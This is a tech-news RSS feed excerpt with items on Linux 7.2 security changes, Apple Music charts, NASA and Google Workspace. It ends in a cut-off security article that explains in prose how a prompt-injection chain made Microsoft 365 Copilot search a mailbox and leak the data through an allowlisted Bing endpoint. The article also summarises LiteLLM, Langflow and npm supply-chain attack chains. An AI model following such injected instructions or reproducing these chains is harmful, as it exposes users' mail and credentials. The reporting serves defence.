<p>Produkte der Marken Snapdragon und Qualcomm sind Produkte von Qualcomm Technologies, Inc. und/oder deren Tochtergesellschaften.<br><br>(<a href="https://www.pcwelt.de/article/3138351/laptop-architektur-wandel-snapdragon-x2-elite.html" data-type="link" data-id="https://www.pcwelt.de/article/3138351/laptop-architektur-wandel-snapdragon-x2-elite.html" target="_blank">PC-Welt</a>)</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux 7.2 Merge Window]]></title>
<description><![CDATA[Linux v7.1 was released on Sunday,
June 14th, with the Linux v7.2 merge window opening immediately afterwards.
Below are the highlights of the
LSM,
SELinux, and
audit
pull requests which have been merged into Linus’ tree.

LSM


  Updated the security_inode_listsecurity() LSM hook so that individ...]]></description>
<link>https://tsecurity.de/de/3611340/unix-server/linux-72-merge-window/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611340/unix-server/linux-72-merge-window/</guid>
<pubDate>Fri, 19 Jun 2026 23:46:24 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.paul-moore.com/blog/d/2026/06/linux_v71.html">Linux v7.1</a> was released on Sunday,
June 14th, with the Linux v7.2 merge window opening immediately afterwards.
Below are the highlights of the
<a href="https://lore.kernel.org/linux-security-module/9b359189953cc739f62fc94af4c24a27@paul-moore.com">LSM</a>,
<a href="https://lore.kernel.org/selinux/577e6fb29cf0b9c335748aa5fa026275@paul-moore.com/">SELinux</a>, and
<a href="https://lore.kernel.org/audit/ed67171da998240452617bc681ac0e48@paul-moore.com">audit</a>
pull requests which have been merged into Linus’ tree.</p>

<h3>LSM</h3>

<ul>
  <li>Updated the <code class="language-plaintext highlighter-rouge">security_inode_listsecurity()</code> LSM hook so that individual LSMs
could make use of the <code class="language-plaintext highlighter-rouge">xattr_list_one()</code> helper function, simplifying their
code and making it more robust against future extended attribute changes.</li>
</ul>

<h3>SELinux</h3>

<ul>
  <li>
    <p>Added a number of additional validations to the SELinux policy parsing and
loading code.  Not only does this help ensure only valid policies are loaded
into the kernel, it will also help administrators identify and correct faulty
SELinux policies at load time.</p>
  </li>
  <li>
    <p>Removed nontransitive comparisons in the SELinux sorting code to help ensure
predictable sorting results.  <a href="https://www.qualys.com/">Qualys</a> documented a
similar issue in <a href="https://www.qualys.com/2024/01/30/qsort.txt">glibc’s qsort code with a detailed explanation</a>
of the problem and the fix.</p>
  </li>
  <li>
    <p>Updated the code to consistently use the <code class="language-plaintext highlighter-rouge">u16</code> type for SELinux security
classes.</p>
  </li>
  <li>
    <p>Moved some memory page allocations to use <code class="language-plaintext highlighter-rouge">kmalloc()</code> based allocations.
This change should increase scalability and open the door to additional
debugging mechanisms.  Expect more work in this area in the next Linux kernel
release.</p>
  </li>
  <li>
    <p>Move from <code class="language-plaintext highlighter-rouge">kmalloc_objs()</code> to <code class="language-plaintext highlighter-rouge">kzalloc_objs()</code> in the SELinux policy loading
code.  This should help protect the kernel against ill-formed policies.</p>
  </li>
  <li>
    <p>Reorder some of the processing in <code class="language-plaintext highlighter-rouge">sel_kill_sb()</code> to better match other
pseudo-filesystems.</p>
  </li>
  <li>
    <p>Simplify the code with the use of <code class="language-plaintext highlighter-rouge">QSTR()</code> instead of <code class="language-plaintext highlighter-rouge">QSTR_INIT()</code>.</p>
  </li>
  <li>
    <p>Minor comment fixes.</p>
  </li>
</ul>

<h3>Audit</h3>

<ul>
  <li>
    <p>Fixed a recursive deadlock when duplicating executable file rules.  The fix
involved passing resolved inodes through the audit code to avoid triggering
additional inode lookups and potentially causing a deadlock.</p>
  </li>
  <li>
    <p>Fixed a problem where it was not possible to delete an executable file watch
after the file was deleted.  The fix involved removing a negative dentry check
that was preventing the kernel looking up the file watch associated with
deleted file.</p>
  </li>
  <li>
    <p>Updated the code to consistently use the <code class="language-plaintext highlighter-rouge">unsigned int</code> type instead of
<code class="language-plaintext highlighter-rouge">unsigned</code>.</p>
  </li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aliens: Fireteam Elite 2 game director says the game will have 'massive amounts of customization' — 'There's almost an infinite amount of ways to coordinate with your buds on how you want to kit up as a group']]></title>
<description><![CDATA[Aliens: Fireteam Elite 2 will feature "massive amounts of customization" across all available classes, including the brand-new endgame Specialist class.]]></description>
<link>https://tsecurity.de/de/3611183/it-nachrichten/aliens-fireteam-elite-2-game-director-says-the-game-will-have-massive-amounts-of-customization-theres-almost-an-infinite-amount-of-ways-to-coordinate-with-your-buds-on-how-you-want-to-kit-up-as-a-group/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611183/it-nachrichten/aliens-fireteam-elite-2-game-director-says-the-game-will-have-massive-amounts-of-customization-theres-almost-an-infinite-amount-of-ways-to-coordinate-with-your-buds-on-how-you-want-to-kit-up-as-a-group/</guid>
<pubDate>Fri, 19 Jun 2026 21:03:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aliens: Fireteam Elite 2 will feature "massive amounts of customization" across all available classes, including the brand-new endgame Specialist class.]]></content:encoded>
</item>
<item>
<title><![CDATA[Drake tops Apple Music’s all-time most streamed artists list; Taylor Swift close behind at No.2]]></title>
<description><![CDATA[Apple Music just dropped its official ranking of the Top 20 Most Streamed Artists of All Time, and the results are sparking major…
The post Drake tops Apple Music’s all-time most streamed artists list; Taylor Swift close behind at No.2 appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3610583/ios-mac-os/drake-tops-apple-musics-all-time-most-streamed-artists-list-taylor-swift-close-behind-at-no2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610583/ios-mac-os/drake-tops-apple-musics-all-time-most-streamed-artists-list-taylor-swift-close-behind-at-no2/</guid>
<pubDate>Fri, 19 Jun 2026 15:54:50 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple Music just dropped its official ranking of the Top 20 Most Streamed Artists of All Time, and the results are sparking major…</p>
<p>The post <a href="https://macdailynews.com/2026/06/19/drake-tops-apple-musics-all-time-most-streamed-artists-list-taylor-swift-close-behind-at-no-2/">Drake tops Apple Music’s all-time most streamed artists list; Taylor Swift close behind at No.2</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Radix: Schneller Speicherplatz-Check für den Mac]]></title>
<description><![CDATA[Vielleicht ein bekanntes Thema: Die Festplatte läuft voll und keiner weiß, warum. Mit Radix gibt es ein neues Werkzeug für macOS, das Licht ins Dunkel bringen möchte. Die App wurde nativ mit Swift und SwiftUI entwickelt. Anstatt ewig auf Scan-Ergebnisse...Zum Beitrag: Radix: Schneller Speicherpla...]]></description>
<link>https://tsecurity.de/de/3610489/it-nachrichten/radix-schneller-speicherplatz-check-fuer-den-mac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610489/it-nachrichten/radix-schneller-speicherplatz-check-fuer-den-mac/</guid>
<pubDate>Fri, 19 Jun 2026 15:18:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vielleicht ein bekanntes Thema: Die Festplatte läuft voll und keiner weiß, warum. Mit Radix gibt es ein neues Werkzeug für macOS, das Licht ins Dunkel bringen möchte. Die App wurde nativ mit Swift und SwiftUI entwickelt. Anstatt ewig auf Scan-Ergebnisse...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/radix-schneller-speicherplatz-check-fuer-den-mac/">Radix: Schneller Speicherplatz-Check für den Mac</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Music Unveils Top 20 Most-Streamed Artists Since 2015]]></title>
<description><![CDATA[Apple Music has shared its top 20 most-streamed artists of all time, giving fans a rare look at the biggest names on the platform since its launch in June 2015. Drake leads the full list, while Taylor Swift takes second place and becomes the most-streamed female artist ever on Apple Music.



Cha...]]></description>
<link>https://tsecurity.de/de/3610260/ios-mac-os/apple-music-unveils-top-20-most-streamed-artists-since-2015/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610260/ios-mac-os/apple-music-unveils-top-20-most-streamed-artists-since-2015/</guid>
<pubDate>Fri, 19 Jun 2026 13:55:36 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Music has shared its top 20 most-streamed artists of all time, giving fans a rare look at the biggest names on the platform since its launch in June 2015. Drake leads the full list, while Taylor Swift takes second place and becomes the most-streamed female artist ever on Apple Music.



Chart Data shared the ranking on X, and Apple Music reposted it through its official account, confirming the platform’s all-time streaming leaders for the first time.



Drake leads Apple Music’s all-time streaming chart




https://twitter.com/chartdata/status/2067708890116968833




The list shows a strong presence from rap and hip-hop artists, with Future, YoungBoy Never Broke Again, Lil Baby, Kanye West, Travis Scott, Kendrick Lamar, Lil Durk, Gunna, Rod Wave, and Eminem all making the top 20.



Here is the full Apple Music top 20 most-streamed artists list:




Drake



Taylor Swift



Future



YoungBoy Never Broke Again



Bad Bunny



Lil Baby



The Weeknd



Morgan Wallen



Kanye West



Post Malone



Travis Scott



Ariana Grande



Chris Brown



Kendrick Lamar



Lil Durk



Gunna



Rod Wave



Ed Sheeran



Justin Bieber



Eminem




Taylor Swift’s place on the list also carries history because she publicly challenged Apple Music before launch over its free trial payment policy for artists. Apple later changed its decision, and Swift brought 1989 to the service.



Apple Music requires an active subscription and costs $10.99 per month for an individual plan in the U.S., with student, family, and Apple One bundle options also available.]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA startet bald wilde Rettungsaktion für das Swift-Teleskop]]></title>
<description><![CDATA[Die NASA plant für Ende Juni 2026 eine spektakuläre Rettungsmission für das Weltraumteleskop Swift. Ein Robotersystem soll das sinkende Observatorium im All abfangen und sicher in eine höhere Umlaufbahn befördern.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3610099/it-security-nachrichten/nasa-startet-bald-wilde-rettungsaktion-fuer-das-swift-teleskop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610099/it-security-nachrichten/nasa-startet-bald-wilde-rettungsaktion-fuer-das-swift-teleskop/</guid>
<pubDate>Fri, 19 Jun 2026 12:51:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,159460.html"><img hspace="5" border="0" align="left" alt="Nasa, Pegasus, Swift Observatory, NASA?s Goddard Space Flight Center" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/91604.jpg"></a>
			Die <a href="https://winfuture.de/special/nasa/" title="NASA Special">NASA</a> plant für Ende Juni 2026 eine spektakuläre Rettungsmission für das Weltraumteleskop Swift. Ein <a href="https://winfuture.de/special/roboter/" title="Roboter Special">Robotersystem</a> soll das sinkende Observatorium im All abfangen und sicher in eine höhere Umlaufbahn befördern.			(<a href="https://winfuture.de/news,159460.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Workspace Weekly Recap - June 19, 2026]]></title>
<description><![CDATA[New discoverable space setting in Google ChatPreviously, spaces were either private (invite-only) or open (anyone in the organization can find and join). Discoverable spaces provide a new option between the two: they appear when users browse for spaces within their organization, but the conversat...]]></description>
<link>https://tsecurity.de/de/3610078/web-tipps/google-workspace-weekly-recap-june-19-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610078/web-tipps/google-workspace-weekly-recap-june-19-2026/</guid>
<pubDate>Fri, 19 Jun 2026 12:39:29 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>New discoverable space setting in Google Chat</h3><div>Previously, spaces were either private (invite-only) or open (anyone in the organization can find and join). Discoverable spaces provide a new option between the two: they appear when users browse for spaces within their organization, but the conversation history and messages remain private until an owner or manager approves a user's request to join. | <a href="https://workspaceupdates.googleblog.com/2026/06/discoverable-space-setting-chat.html" target="_blank">Learn more</a>.</div><div><h3>Carrier Link for Google Voice</h3><div>Carrier Link allows Workspace customers to easily add phone numbers and calling plans from a certified local carrier, leveraging a pre-configured multi-tenant implementation of SIP Link. | <a href="https://workspaceupdates.googleblog.com/2026/06/carrier-link-for-google-voice.html" target="_blank">Learn more</a>.</div></div><div><h3>AI note-taking is now available in Google Voice</h3><div>This powerful new feature records and transcribes calls, summarizes key points, and organizes action items, which are sent via Gmail and stored in the Voice app. | <a href="https://workspaceupdates.googleblog.com/2026/06/AI-note-taking-in-google-voice.html" target="_blank">Learn more</a>.</div></div><div><h3>Gemini in Chrome expands to more languages and regions, including Latin America, Africa, and the Middle East</h3><div>Many of Chrome's latest AI features are rolling out to users in Latin America, Africa, the Middle East, and more. | <a href="https://workspaceupdates.googleblog.com/2026/06/expanded-availability-gemini-in-chrome.html" target="_blank">Learn more</a>.</div></div><div><h3>Control whether your users can have temporary chats and delete conversations in the Gemini app</h3><div>We’re introducing two new administrator controls for the Gemini app (gemini.google.com) that allow end users to manage their own chat activity. Admins can now configure whether users can use temporary chats and delete their conversation history. | <a href="https://workspaceupdates.googleblog.com/2026/06/temporary-chats-and-conversation-deletion-control-for-gemini.html" target="_blank">Learn more</a>.</div></div><div><h3>Create longer Veo videos and generate multiple at once in Google Vids</h3><div>These updates provide all Vids users with the ability to create longer videos with consistent characters and generate multiple videos in parallel, enabling you to bring your vision to life faster than ever before. | <a href="https://workspaceupdates.googleblog.com/2026/06/create-longer-veo-videos-and-generate-multiple-at-once-in-Google-Vids.html" target="_blank">Learn more</a>.</div></div><div><h3>Enhanced AI avatar features and capabilities in Google Vids</h3><div>We’re excited to announce expanded language support, a new collection of avatar defaults, and the ability to direct your custom avatars to take action in any generated video. | <a href="https://workspaceupdates.googleblog.com/2026/06/enhanced-ai-avatars-vids.html" target="_blank">Learn more</a>.</div></div><div><h3>Custom event colors in Google Calendar</h3><div>Going forward, users are offered an expanded color palette so they can personalize events and visually organize their calendar with ease, giving each user access to up to 200 custom colors for individual events via both the native web and mobile apps as well as the Calendar API. | <a href="https://workspaceupdates.googleblog.com/2026/06/custom-event-colors-in-google-calendar.html" target="_blank">Learn more</a>.</div></div><div><h3>Make Gemini more helpful and relevant to your teaching goals with the Google Classroom app in Gemini</h3><div>Educators have shared that AI is especially helpful when it understands the context of their teaching environment, from tailoring resources toward student needs or building on their existing materials. To support this, Gemini will be able to collaborate with your Google Classroom, using context from your classes to inform its outputs or help complete tasks. | <a href="https://workspaceupdates.googleblog.com/2026/06/classroom-app-in-gemini.html" target="_blank">Learn more</a>.</div></div><div><h3>Improved management of secondary calendars via the Calendar API</h3><div>We’re introducing two enhancements to the Calendar API that make it easier for admins to programmatically manage secondary calendars within their organization: a transfer API and a filter for secondary calendars owned by your organization. | <a href="https://workspaceupdates.googleblog.com/2026/06/secondary-calendar-management-API.html" target="_blank">Learn more</a>.</div></div><div><h3>Google Meet now available on Android Auto</h3><div>We’re bringing the power of Google Meet to your vehicle's display with our new integration for Android Auto. This update makes it easy to safely stay connected and handle important meetings hands-free from behind the wheel. | <a href="https://workspaceupdates.googleblog.com/2026/06/google-meet-now-available-on-android.html" target="_blank">Learn more</a>.</div></div><div><h3>Expanded language support for building and editing spreadsheets with Gemini</h3><div>We’re now expanding support for these features to 28 additional languages, enabling users who speak Spanish, Portuguese, Japanese, Korean, Italian, French, German, Chinese Simplified, Dutch, Hebrew, Polish, Turkish, Czech, Indonesian, Malay, Swedish, Danish, Norwegian, Arabic, Finnish, Vietnamese, Ukrainian, Greek, Thai, Romanian, Russian, Catalan, and Hungarian to collaborate natively with Gemini in their preferred language. | <a href="https://workspaceupdates.googleblog.com/2026/06/expanded-language-support-for-gemini-in-sheets.html" target="_blank">Learn more</a>.</div></div><div><br></div><div><span>The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.</span></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NASA-Weltraumteleskop Swift: Beispiellose Rettung durch Robotermission steht an]]></title>
<description><![CDATA[Das Weltraumteleskop Swift soll von einem robotischen Raumschiff zurück in einen hohen Orbit geschoben werden. Der wurde in Rekordzeit fertig und ist bereit.]]></description>
<link>https://tsecurity.de/de/3610063/it-nachrichten/nasa-weltraumteleskop-swift-beispiellose-rettung-durch-robotermission-steht-an/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610063/it-nachrichten/nasa-weltraumteleskop-swift-beispiellose-rettung-durch-robotermission-steht-an/</guid>
<pubDate>Fri, 19 Jun 2026 12:32:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Weltraumteleskop Swift soll von einem robotischen Raumschiff zurück in einen hohen Orbit geschoben werden. Der wurde in Rekordzeit fertig und ist bereit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Website "In the Weights" shows whether AI models know who you are]]></title>
<description><![CDATA[Two former OpenAI employees have built a website called "In the Weights" that reveals which people AI models can recall purely from their training data. A strength score of up to 996 shows how deeply a person is embedded, with Mozart, Shakespeare, and Taylor Swift topping the list.
The article We...]]></description>
<link>https://tsecurity.de/de/3609736/ai-nachrichten/website-in-the-weights-shows-whether-ai-models-know-who-you-are/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609736/ai-nachrichten/website-in-the-weights-shows-whether-ai-models-know-who-you-are/</guid>
<pubDate>Fri, 19 Jun 2026 10:33:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/06/are_you_in_the_weights.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Two former OpenAI employees have built a website called "In the Weights" that reveals which people AI models can recall purely from their training data. A strength score of up to 996 shows how deeply a person is embedded, with Mozart, Shakespeare, and Taylor Swift topping the list.</p>
<p>The article <a href="https://the-decoder.com/website-in-the-weights-shows-whether-ai-models-know-who-you-are/">Website "In the Weights" shows whether AI models know who you are</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 20 most streamed artists on Apple Music revealed]]></title>
<description><![CDATA[It should come as no surprise that Taylor Swift, Bad Bunny, Ariana Grande, and Kendrick Lamar are among the top 20 most streamed artists of all time on Apple Music. Check out the full list.Apple Music has shared its top 20 artists of all timeApple Music launched on June 30, 2015, and it celebrate...]]></description>
<link>https://tsecurity.de/de/3609175/ios-mac-os/top-20-most-streamed-artists-on-apple-music-revealed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609175/ios-mac-os/top-20-most-streamed-artists-on-apple-music-revealed/</guid>
<pubDate>Fri, 19 Jun 2026 02:39:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It should come as no surprise that Taylor Swift, Bad Bunny, Ariana Grande, and Kendrick Lamar are among the top 20 most streamed artists of all time on <a href="https://appleinsider.com/inside/apple-music" title="Apple Music" data-kpt="1">Apple Music</a>. Check out the full list.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67992-143337-Apple-Music-playlists-xl.jpg" alt="Hand holding a smartphone displaying a colorful music app screen with personalized sections titled Your Essentials and Stations for You, against a blurred indoor background with a dark water bottle" height="738"><br><span>Apple Music has shared its top 20 artists of all time</span></div><br>Apple Music <a href="https://appleinsider.com/articles/25/06/30/apple-musics-ten-years-billions-of-dollars-in-fines-and-one-failure">launched on</a> June 30, 2015, and it <a href="https://appleinsider.com/articles/25/06/30/apple-musics-birthday-specials-include-a-500-most-streamed-songs-countdown">celebrated 10 years</a> of streaming with a top 500 songs list. A year on, the streamer has shared a new metric.<br><br>The new chart is the top 20 artists of all time on Apple Music, shared by Chart Data <a href="https://x.com/chartdata/status/2067708890116968833">on social media</a>. It's an official endorsement, as Apple Music's account reposted it and replied with a heart and trophy emoji.<br><br><br> <a href="https://appleinsider.com/articles/26/06/19/top-20-most-streamed-artists-on-apple-music-revealed?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244700?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Taylor Swift, Geese, the Beatles and More: Popcast Critics Answer Your Pop Questions!]]></title>
<description><![CDATA[Joe Coscarelli and Jon Caramanica answer audience questions. Watch the full episode here.]]></description>
<link>https://tsecurity.de/de/3608841/ai-nachrichten/taylor-swift-geese-the-beatles-and-more-popcast-critics-answer-your-pop-questions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608841/ai-nachrichten/taylor-swift-geese-the-beatles-and-more-popcast-critics-answer-your-pop-questions/</guid>
<pubDate>Thu, 18 Jun 2026 21:48:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Joe Coscarelli and Jon Caramanica answer audience questions. Watch the full episode here.]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot searched your mailbox. LiteLLM handed out admin keys. Run this 5-check audit before your stack is next]]></title>
<description><![CDATA[Two AI tools broke in the same way in the same two weeks, and four research teams proved it. The pattern underneath every disclosure is one sentence: enterprise AI accepts external input with no trust boundary. On June 15, Varonis disclosed SearchLeak (CVE-2026-42824), a proof-of-concept exfiltra...]]></description>
<link>https://tsecurity.de/de/3608646/it-nachrichten/copilot-searched-your-mailbox-litellm-handed-out-admin-keys-run-this-5-check-audit-before-your-stack-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608646/it-nachrichten/copilot-searched-your-mailbox-litellm-handed-out-admin-keys-run-this-5-check-audit-before-your-stack-is-next/</guid>
<pubDate>Thu, 18 Jun 2026 20:16:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two AI tools broke in the same way in the same two weeks, and four research teams proved it. The pattern underneath every disclosure is one sentence: enterprise AI accepts external input with no trust boundary. </p><p>On June 15, Varonis disclosed <a href="https://www.varonis.com/blog/searchleak">SearchLeak (CVE-2026-42824)</a>, a proof-of-concept exfiltration chain in Microsoft 365 Copilot Enterprise Search. A victim clicks a crafted microsoft.com URL, Copilot searches their mailbox, and the data leaves through a Bing SSRF. No plugins, no second click, no visible indicator. Four days earlier, Obsidian Security published a <a href="https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce">three-CVE chain against LiteLLM</a> that carried a default low-privilege user all the way to admin and remote code execution. Two tools. Two teams. One broken boundary.</p><p>The five-check audit at the end of this article maps each gap to a CVE or a market signal from June, a command you can run before lunch, and a sentence a CISO can read to the board.</p><h2>Copilot turned a trusted URL into an exfiltration engine</h2><p>SearchLeak chained three weaknesses into a silent data-theft chain. The URL q parameter fed attacker instructions straight to Copilot’s LLM. A rendering race condition fired an image tag before the output sanitizer ran. Bing’s image-search endpoint, allowlisted in the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a>, routed the stolen data out. Microsoft rated the flaw critical and patched it on the back end, according to Varonis. <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42824">NVD has not yet scored it</a>; a third-party tracker lists it at 6.5 medium. The severity is contested, but the mechanism is not.</p><p>The escalation is the real story. This is the third Varonis Copilot exfiltration chain in twelve months, after <a href="https://arstechnica.com/security/2026/01/a-single-click-mounted-a-covert-multistage-attack-against-copilot/">Reprompt</a> in January and <a href="https://www.bleepingcomputer.com/news/security/new-attack-turned-microsoft-365-copilot-into-1-click-data-theft-tool/">EchoLeak</a> in 2025. Reprompt hit Copilot Personal. SearchLeak hit Enterprise Search. Enterprise inherits the user’s full organizational permissions, so the blast radius is everything that a user can reach.</p><h2>LiteLLM handed a default account to every provider key</h2><p>The LiteLLM gateway holds the keys for OpenAI, Anthropic, Azure, and Bedrock behind a single proxy. The Obsidian chain runs in three moves. <a href="https://cvefeed.io/vuln/detail/CVE-2026-47101">CVE-2026-47101</a>, an authorization bypass, lets a non-admin mint a wildcard API key. CVE-2026-47102 promotes that caller to proxy admin through an unguarded /user/update endpoint. CVE-2026-40217 escapes the code sandbox through exec() with full builtins. Obsidian then demonstrated a reverse shell by injecting a forged tool-call response through LiteLLM’s callback mechanism. Obsidian assessed the combined chain at CVSS 9.9. The developer typed one word. The attacker popped a shell.</p><p>A separate LiteLLM flaw made the urgency immediate. <a href="https://thehackernews.com/2026/06/litellm-flaw-cve-2026-42271-exploited.html">CVE-2026-42271</a>, a command-injection bug in the MCP test endpoints, landed on the <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA KEV list</a> on June 8 with a June 22 remediation deadline. That KEV entry is not the Obsidian chain. The two are distinct disclosures four days apart, fixed in different releases, pointed at the same gateway. LiteLLM carries more than 40,000 GitHub stars and sits in thousands of enterprise deployments. This is not the first scare, either. A <a href="https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html">supply-chain compromise backdoored LiteLLM versions 1.82.7 and 1.82.8 on PyPI in March</a>. A compromised gateway exposes every provider credential the organization holds.</p><h2>Langflow and Mini Shai-Hulud proved the pattern scales</h2><p>The same boundary broke in two more tools in the same fortnight. <a href="https://thehackernews.com/2026/06/unpatched-langflow-flaw-cve-2026-5027.html">Langflow CVE-2026-5027</a> became the third Langflow remote-code-execution flaw to hit active exploitation this year. A path traversal in file upload lets an attacker write files anywhere on disk, and because Langflow ships with auto-login enabled by default, a single unauthenticated request reaches RCE. <a href="https://www.vulncheck.com/">VulnCheck</a> confirmed exploitation on June 9. Censys counted roughly 7,000 exposed instances, the heaviest concentration in North America, with <a href="https://attack.mitre.org/groups/G0069/">MuddyWater</a> attribution.</p><p>The <a href="https://www.securityweek.com/over-100-npm-pypi-packages-hit-in-new-shai-hulud-supply-chain-attacks/">Mini Shai-Hulud campaign</a> hit a different pressure point. After the worm’s source code went public on May 12, copycat variants <a href="https://socket.dev/blog/mini-shai-hulud-campaign-hits-red-hat-cloud-services-npm-packages">compromised 32 Red Hat Cloud Services npm packages</a> on June 1, packages pulled 80,000 times a week. The worm harvests more than 20 credential types and self-propagates under the compromised maintainer’s identity.</p><p>Four teams, four tools, one operating failure. The bug classes differ. SearchLeak is a prompt injection. LiteLLM is privilege escalation. Langflow is path traversal. Mini Shai-Hulud is supply-chain poisoning. The boundary that broke is the same in all four.</p><h2>The market already repriced the risk</h2><p>CrowdStrike’s <a href="https://www.fool.com/earnings/call-transcripts/2026/06/03/crowdstrike-crwd-q1-2027-earnings-transcript/">Q1 FY27 earnings call</a> put a number on the gap. <a href="https://www.crowdstrike.com/en-us/platform/falcon-aidr-ai-detection-and-response/">AIDR</a>, the company’s AI detection and response line, grew ending ARR more than 250% sequentially, with a Q2 pipeline above $50 million (<a href="https://www.sec.gov/Archives/edgar/data/0001535527/000153552726000022/crwd-20260603xex991.htm">SEC-filed 8-K</a>). Total company ARR reached $5.51 billion, and CrowdStrike’s fleet telemetry shows more than 1,800 agentic applications running across enterprise endpoints. </p><p>On June 17, the company <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-advances-ai-and-cloud-security-operations-on-aws/">extended AIDR to AWS</a>, adding real-time evaluation of agent, LLM, and MCP communications across Amazon Bedrock, Kiro, and Strands Agents, building on its work with <a href="https://www.anthropic.com/glasswing">Anthropic’s Project Glasswing</a>. Daniel Bernard, CrowdStrike’s chief business officer, said the AI attack surface now spans development, runtime, identities, and cloud infrastructure, and that teams treating those as separate domains leave the gaps between them open.</p><h2>Practitioners name the same gap in plainer terms</h2><p>David Levin, CISO at American Express Global Business Travel, <a href="https://venturebeat.com/security/amex-ciso-fights-threats-at-machine-speed-with-ai/">told VentureBeat</a> the pattern does not surprise him. “We kind of have this shadow AI, which is just the new version of shadow IT,” Levin said. </p><p>Both Langflow and LiteLLM fit the description. Teams stood them up for convenience, gave them credentials, and never brought them under governance. Levin puts the fix before deployment. “We didn’t go into this with just saying we’re going to go do this without the right fundamentals,” he said. “We leverage NIST controls. NIST has released their CSF along with their AI framework. OWASP released their top 10. You need the right fundamentals before you deploy.”</p><p>Merritt Baer, CSO at Enkrypt AI and former AWS Deputy CISO, named the structural version of the failure in a separate <a href="https://venturebeat.com/security/most-enterprises-cant-stop-stage-three-ai-agent-threats-venturebeat-survey-finds">VentureBeat interview</a>. “Enterprises believe they’ve ‘approved’ AI vendors, but what they’ve actually approved is an interface, not the underlying system,” Baer said. “The real dependencies are one or two layers deeper, and those are the ones that fail under stress.” She has tied that directly to how systems fall. “Raw zero-days aren’t how most systems get compromised. Composability is,” Baer <a href="https://venturebeat.com/security/adversaries-hijacked-ai-security-tools-at-90-organizations-the-next-wave-has-write-access-to-the-firewall">told VentureBeat</a>. “It’s the glue between the model and your data where the risk lives. If you give an agent bash and a root token, you’ve already done most of the attacker’s work for them.” That is what rows 2 and 4 of the 